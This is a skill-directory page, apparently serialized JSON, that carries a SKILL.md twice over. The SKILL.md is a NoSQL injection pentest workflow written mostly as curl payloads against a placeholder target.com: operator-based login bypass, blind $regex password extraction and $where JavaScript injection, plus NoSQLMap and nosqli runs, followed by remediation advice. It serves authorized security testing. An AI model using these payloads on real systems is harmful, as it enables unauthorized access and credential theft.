[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AEPYTFSS5KVEHB1P7JB3N2":3,"skill-same:01M6AEPYTFSS5KVEHB1P7JB3N2":129},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":29,"publishedAt":50,"linkOnly":51,"markdownContent":52,"markdownBody":53,"frontMatter":54,"refName":70,"commitSha":71,"skillDirectory":72,"forksCount":73,"repositoryHtmlUrl":74,"repositoryHomepageUrl":75,"ownerHtmlUrl":76,"ownerBlogUrl":77,"ownerDescription":78,"updatedAt":79,"install":80,"resources":93},"01M6AEPYTFSS5KVEHB1P7JB3N2","exploiting-nosql-injection-vulnerabilities",null,"Detects and exploits NoSQL injection vulnerabilities in MongoDB, CouchDB, and similar databases to demonstrate authentication bypass, data extraction, and unauthorized access via crafted query operators. Use when pentesting APIs or web applications backed by NoSQL databases to test input validation and injection defenses.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35990,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-nosql-injection-vulnerabilities\u002FSKILL.md",[18,23,26],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49],"exploiting nosql injection vulnerabilities","vulnerabilities","nosql","injection","web-application-security","database-security","injection-attack","mongodb","nosql-injection","web-security","t1059","testing","pentesting","authentication-bypass","data","database","authentication","pr","cybersecurity","security","2026-11-10 10:12:30",false,"---\nname: exploiting-nosql-injection-vulnerabilities\ndescription: Detects and exploits NoSQL injection vulnerabilities in MongoDB, CouchDB,\n  and similar databases to demonstrate authentication bypass, data extraction, and\n  unauthorized access via crafted query operators. Use when pentesting APIs or web\n  applications backed by NoSQL databases to test input validation and injection\n  defenses.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- nosql-injection\n- mongodb\n- authentication-bypass\n- injection-attack\n- web-security\n- database-security\n- api-testing\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1055\n---\n\n# Exploiting NoSQL Injection Vulnerabilities\n\n## When to Use\n- During web application penetration testing of applications using NoSQL databases\n- When testing authentication mechanisms backed by MongoDB or similar databases\n- When assessing APIs that accept JSON input for database queries\n- During bug bounty hunting on applications with NoSQL backends\n- When performing security code review of database query construction\n\n## Prerequisites\n- Burp Suite Professional or Community Edition with JSON support\n- NoSQLMap tool installed (`pip install nosqlmap` or from GitHub)\n- Understanding of MongoDB query operators ($ne, $gt, $regex, $where, $exists)\n- Target application using a NoSQL database (MongoDB, CouchDB, Cassandra)\n- Proxy configured for HTTP traffic interception\n- Python 3.x for custom payload scripting\n\n## Workflow\n\n### Step 1 — Identify NoSQL Injection Points\n```bash\n# Look for JSON-based login forms or API endpoints\n# Common indicators: application accepts JSON POST bodies, uses MongoDB\n# Test with basic syntax-breaking characters\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": \"admin\\\"\", \"password\": \"test\"}'\n\n# Test for operator injection in query parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers?username[$ne]=invalid\"\n\n# Check for error-based detection\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\": {\"$gt\": \"\"}}'\n```\n\n### Step 2 — Perform Authentication Bypass\n```bash\n# Basic authentication bypass with $ne operator\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": {\"$ne\": \"invalid\"}, \"password\": {\"$ne\": \"invalid\"}}'\n\n# Bypass with $gt operator\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": {\"$gt\": \"\"}, \"password\": {\"$gt\": \"\"}}'\n\n# Target specific user with regex\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": \"admin\", \"password\": {\"$regex\": \".*\"}}'\n\n# Bypass using $exists operator\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": {\"$exists\": true}, \"password\": {\"$exists\": true}}'\n```\n\n### Step 3 — Extract Data Using Boolean-Based Blind Injection\n```bash\n# Extract username character by character using $regex\n# Test if first character of admin password is 'a'\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": \"admin\", \"password\": {\"$regex\": \"^a\"}}'\n\n# Test if first two characters are 'ab'\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": \"admin\", \"password\": {\"$regex\": \"^ab\"}}'\n\n# Enumerate usernames with regex\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": {\"$regex\": \"^adm\"}, \"password\": {\"$ne\": \"invalid\"}}'\n```\n\n### Step 4 — Exploit JavaScript Injection via $where\n```bash\n# JavaScript injection through $where operator\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"$where\": \"this.username == \\\"admin\\\"\"}'\n\n# Time-based detection with sleep\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"$where\": \"sleep(5000) || this.username == \\\"admin\\\"\"}'\n\n# Data exfiltration via $where with string comparison\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"$where\": \"this.password.match(\u002F^a\u002F) != null\"}'\n```\n\n### Step 5 — Use NoSQLMap for Automated Testing\n```bash\n# Clone and setup NoSQLMap\ngit clone https:\u002F\u002Fgithub.com\u002Fcodingo\u002FNoSQLMap.git\ncd NoSQLMap\npython setup.py install\n\n# Run NoSQLMap against target\npython nosqlmap.py -u http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  --method POST \\\n  --data '{\"username\":\"test\",\"password\":\"test\"}'\n\n# Alternative: use nosqli scanner\npip install nosqli\nnosqli scan -t http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin -d '{\"username\":\"*\",\"password\":\"*\"}'\n```\n\n### Step 6 — Test URL Parameter Injection\n```bash\n# Parameter-based injection (GET requests)\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers?username[$ne]=&password[$ne]=\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers?username[$regex]=admin&password[$gt]=\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers?username[$exists]=true\"\n\n# Array injection via URL parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers?username[$in][]=admin&username[$in][]=root\"\n\n# Inject via HTTP headers if processed by backend\ncurl http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"X-User-Id: {'\\$ne': null}\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Operator Injection | Injecting MongoDB operators ($ne, $gt, $regex) into query parameters |\n| Authentication Bypass | Using operators to match any document and bypass login checks |\n| Blind Extraction | Character-by-character data extraction using $regex boolean responses |\n| $where Injection | Executing arbitrary JavaScript on the MongoDB server via $where operator |\n| Type Juggling | Exploiting how NoSQL databases handle different input types (string vs object) |\n| BSON Injection | Manipulating Binary JSON serialization in MongoDB wire protocol |\n| Server-Side JS | JavaScript execution context available in MongoDB for query evaluation |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| NoSQLMap | Automated NoSQL injection detection and exploitation framework |\n| Burp Suite | HTTP proxy for intercepting and modifying JSON requests |\n| MongoDB Shell | Direct database interaction for testing query behavior |\n| nosqli | Dedicated NoSQL injection scanner and exploitation tool |\n| PayloadsAllTheThings | Curated NoSQL injection payload repository |\n| Nuclei | Template-based scanner with NoSQL injection detection templates |\n| Postman | API testing platform for crafting NoSQL injection requests |\n\n## Common Scenarios\n\n1. **Login Bypass** — Bypass MongoDB-backed authentication using `{\"$ne\": \"\"}` operator injection in username and password fields\n2. **Data Enumeration** — Extract database contents character by character using `$regex` blind injection when no direct output is visible\n3. **Privilege Escalation** — Modify user role fields through NoSQL injection in profile update endpoints\n4. **API Key Extraction** — Extract API keys or tokens stored in MongoDB collections through boolean-based blind techniques\n5. **Account Takeover** — Enumerate valid usernames via regex injection then brute-force passwords through operator-based authentication bypass\n\n## Output Format\n\n```\n## NoSQL Injection Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin\n- **Database**: MongoDB 6.0\n- **Vulnerability Type**: Operator Injection (Authentication Bypass)\n- **Severity**: Critical (CVSS 9.8)\n\n### Vulnerable Parameters\n| Endpoint | Parameter | Injection Type | Impact |\n|----------|-----------|---------------|--------|\n| POST \u002Fapi\u002Flogin | username | Operator ($ne) | Auth Bypass |\n| POST \u002Fapi\u002Flogin | password | Regex ($regex) | Data Extraction |\n| GET \u002Fapi\u002Fusers | id | $where JS Injection | RCE Potential |\n\n### Proof of Concept\n- Authentication bypass achieved with: {\"username\":{\"$ne\":\"\"},\"password\":{\"$ne\":\"\"}}\n- Extracted 3 admin passwords via blind regex injection\n- JavaScript execution confirmed via $where operator\n\n### Remediation\n- Use parameterized queries with MongoDB driver sanitization\n- Implement input type validation (reject objects where strings expected)\n- Disable server-side JavaScript execution ($where) in MongoDB config\n- Apply least-privilege database access controls\n```\n","# Exploiting NoSQL Injection Vulnerabilities\n\n## When to Use\n- During web application penetration testing of applications using NoSQL databases\n- When testing authentication mechanisms backed by MongoDB or similar databases\n- When assessing APIs that accept JSON input for database queries\n- During bug bounty hunting on applications with NoSQL backends\n- When performing security code review of database query construction\n\n## Prerequisites\n- Burp Suite Professional or Community Edition with JSON support\n- NoSQLMap tool installed (`pip install nosqlmap` or from GitHub)\n- Understanding of MongoDB query operators ($ne, $gt, $regex, $where, $exists)\n- Target application using a NoSQL database (MongoDB, CouchDB, Cassandra)\n- Proxy configured for HTTP traffic interception\n- Python 3.x for custom payload scripting\n\n## Workflow\n\n### Step 1 — Identify NoSQL Injection Points\n```bash\n# Look for JSON-based login forms or API endpoints\n# Common indicators: application accepts JSON POST bodies, uses MongoDB\n# Test with basic syntax-breaking characters\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": \"admin\\\"\", \"password\": \"test\"}'\n\n# Test for operator injection in query parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers?username[$ne]=invalid\"\n\n# Check for error-based detection\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"query\": {\"$gt\": \"\"}}'\n```\n\n### Step 2 — Perform Authentication Bypass\n```bash\n# Basic authentication bypass with $ne operator\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": {\"$ne\": \"invalid\"}, \"password\": {\"$ne\": \"invalid\"}}'\n\n# Bypass with $gt operator\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": {\"$gt\": \"\"}, \"password\": {\"$gt\": \"\"}}'\n\n# Target specific user with regex\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": \"admin\", \"password\": {\"$regex\": \".*\"}}'\n\n# Bypass using $exists operator\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": {\"$exists\": true}, \"password\": {\"$exists\": true}}'\n```\n\n### Step 3 — Extract Data Using Boolean-Based Blind Injection\n```bash\n# Extract username character by character using $regex\n# Test if first character of admin password is 'a'\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": \"admin\", \"password\": {\"$regex\": \"^a\"}}'\n\n# Test if first two characters are 'ab'\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": \"admin\", \"password\": {\"$regex\": \"^ab\"}}'\n\n# Enumerate usernames with regex\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\": {\"$regex\": \"^adm\"}, \"password\": {\"$ne\": \"invalid\"}}'\n```\n\n### Step 4 — Exploit JavaScript Injection via $where\n```bash\n# JavaScript injection through $where operator\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"$where\": \"this.username == \\\"admin\\\"\"}'\n\n# Time-based detection with sleep\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"$where\": \"sleep(5000) || this.username == \\\"admin\\\"\"}'\n\n# Data exfiltration via $where with string comparison\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsearch \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"$where\": \"this.password.match(\u002F^a\u002F) != null\"}'\n```\n\n### Step 5 — Use NoSQLMap for Automated Testing\n```bash\n# Clone and setup NoSQLMap\ngit clone https:\u002F\u002Fgithub.com\u002Fcodingo\u002FNoSQLMap.git\ncd NoSQLMap\npython setup.py install\n\n# Run NoSQLMap against target\npython nosqlmap.py -u http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  --method POST \\\n  --data '{\"username\":\"test\",\"password\":\"test\"}'\n\n# Alternative: use nosqli scanner\npip install nosqli\nnosqli scan -t http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin -d '{\"username\":\"*\",\"password\":\"*\"}'\n```\n\n### Step 6 — Test URL Parameter Injection\n```bash\n# Parameter-based injection (GET requests)\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers?username[$ne]=&password[$ne]=\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers?username[$regex]=admin&password[$gt]=\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers?username[$exists]=true\"\n\n# Array injection via URL parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fusers?username[$in][]=admin&username[$in][]=root\"\n\n# Inject via HTTP headers if processed by backend\ncurl http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"X-User-Id: {'\\$ne': null}\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Operator Injection | Injecting MongoDB operators ($ne, $gt, $regex) into query parameters |\n| Authentication Bypass | Using operators to match any document and bypass login checks |\n| Blind Extraction | Character-by-character data extraction using $regex boolean responses |\n| $where Injection | Executing arbitrary JavaScript on the MongoDB server via $where operator |\n| Type Juggling | Exploiting how NoSQL databases handle different input types (string vs object) |\n| BSON Injection | Manipulating Binary JSON serialization in MongoDB wire protocol |\n| Server-Side JS | JavaScript execution context available in MongoDB for query evaluation |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| NoSQLMap | Automated NoSQL injection detection and exploitation framework |\n| Burp Suite | HTTP proxy for intercepting and modifying JSON requests |\n| MongoDB Shell | Direct database interaction for testing query behavior |\n| nosqli | Dedicated NoSQL injection scanner and exploitation tool |\n| PayloadsAllTheThings | Curated NoSQL injection payload repository |\n| Nuclei | Template-based scanner with NoSQL injection detection templates |\n| Postman | API testing platform for crafting NoSQL injection requests |\n\n## Common Scenarios\n\n1. **Login Bypass** — Bypass MongoDB-backed authentication using `{\"$ne\": \"\"}` operator injection in username and password fields\n2. **Data Enumeration** — Extract database contents character by character using `$regex` blind injection when no direct output is visible\n3. **Privilege Escalation** — Modify user role fields through NoSQL injection in profile update endpoints\n4. **API Key Extraction** — Extract API keys or tokens stored in MongoDB collections through boolean-based blind techniques\n5. **Account Takeover** — Enumerate valid usernames via regex injection then brute-force passwords through operator-based authentication bypass\n\n## Output Format\n\n```\n## NoSQL Injection Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin\n- **Database**: MongoDB 6.0\n- **Vulnerability Type**: Operator Injection (Authentication Bypass)\n- **Severity**: Critical (CVSS 9.8)\n\n### Vulnerable Parameters\n| Endpoint | Parameter | Injection Type | Impact |\n|----------|-----------|---------------|--------|\n| POST \u002Fapi\u002Flogin | username | Operator ($ne) | Auth Bypass |\n| POST \u002Fapi\u002Flogin | password | Regex ($regex) | Data Extraction |\n| GET \u002Fapi\u002Fusers | id | $where JS Injection | RCE Potential |\n\n### Proof of Concept\n- Authentication bypass achieved with: {\"username\":{\"$ne\":\"\"},\"password\":{\"$ne\":\"\"}}\n- Extracted 3 admin passwords via blind regex injection\n- JavaScript execution confirmed via $where operator\n\n### Remediation\n- Use parameterized queries with MongoDB driver sanitization\n- Implement input type validation (reject objects where strings expected)\n- Disable server-side JavaScript execution ($where) in MongoDB config\n- Apply least-privilege database access controls\n```\n",{"name":5,"tags":55,"author":57,"domain":48,"license":15,"version":58,"nist_csf":59,"subdomain":34,"description":7,"mitre_attack":64},[38,37,43,36,39,35,56],"api-testing","mahipal","1.0",[60,61,62,63],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[65,66,67,68,69],"T1190","T1059.007","T1505.003","T1083","T1055","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fexploiting-nosql-injection-vulnerabilities",4395,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":81,"prompt":91,"zipAvailable":92},[82,85,88],{"tool":83,"command":84},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-nosql-injection-vulnerabilities",{"tool":86,"command":87},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-nosql-injection-vulnerabilities",{"tool":89,"command":90},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-nosql-injection-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-nosql-injection-vulnerabilities\u002FSKILL.md",true,[94,100,105,111,115,119,125],{"path":95,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":98,"sourceHtmlUrl":99},"assets\u002Ftemplate.md","ASSET","资产文件",1117,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-nosql-injection-vulnerabilities\u002Fassets\u002Ftemplate.md",{"path":101,"resourceType":101,"resourceTypeDesc":102,"sizeBytes":103,"sourceHtmlUrl":104},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-nosql-injection-vulnerabilities\u002FLICENSE",{"path":106,"resourceType":107,"resourceTypeDesc":108,"sizeBytes":109,"sourceHtmlUrl":110},"references\u002Fapi-reference.md","REFERENCE","参考文档",2236,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-nosql-injection-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":112,"resourceType":107,"resourceTypeDesc":108,"sizeBytes":113,"sourceHtmlUrl":114},"references\u002Fstandards.md",1167,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-nosql-injection-vulnerabilities\u002Freferences\u002Fstandards.md",{"path":116,"resourceType":107,"resourceTypeDesc":108,"sizeBytes":117,"sourceHtmlUrl":118},"references\u002Fworkflows.md",1147,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-nosql-injection-vulnerabilities\u002Freferences\u002Fworkflows.md",{"path":120,"resourceType":121,"resourceTypeDesc":122,"sizeBytes":123,"sourceHtmlUrl":124},"scripts\u002Fagent.py","SCRIPT","脚本",4761,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-nosql-injection-vulnerabilities\u002Fscripts\u002Fagent.py",{"path":126,"resourceType":121,"resourceTypeDesc":122,"sizeBytes":127,"sourceHtmlUrl":128},"scripts\u002Fprocess.py",7617,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-nosql-injection-vulnerabilities\u002Fscripts\u002Fprocess.py",[130,155,179,204,229,255],{"skillNo":131,"name":132,"nameZh":6,"description":133,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":134,"categories":135,"keywords":137,"publishedAt":50},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[136],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[138,139,140,141,49,48,142,143,47,144,145,146,147,148,149,150,151,152,153,154],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":156,"name":157,"nameZh":6,"description":158,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":159,"categories":160,"keywords":162,"publishedAt":50},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[161],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[163,151,164,165,49,166,48,47,167,168,169,170,171,172,173,174,175,176,177,178],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":180,"name":181,"nameZh":6,"description":182,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":183,"categories":184,"keywords":187,"publishedAt":50},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[185,186],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[173,188,189,190,41,48,191,192,167,193,194,195,196,197,198,199,200,201,202,203],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":205,"name":206,"nameZh":6,"description":207,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":208,"categories":209,"keywords":211,"publishedAt":50},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[210],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[212,213,214,48,215,216,217,218,219,220,221,44,222,223,224,225,170,226,227,228],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":230,"name":231,"nameZh":6,"description":232,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":233,"categories":234,"keywords":236,"publishedAt":50},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[235],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[31,237,238,48,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254],"framework","triaging vulnerabilities with ssvc 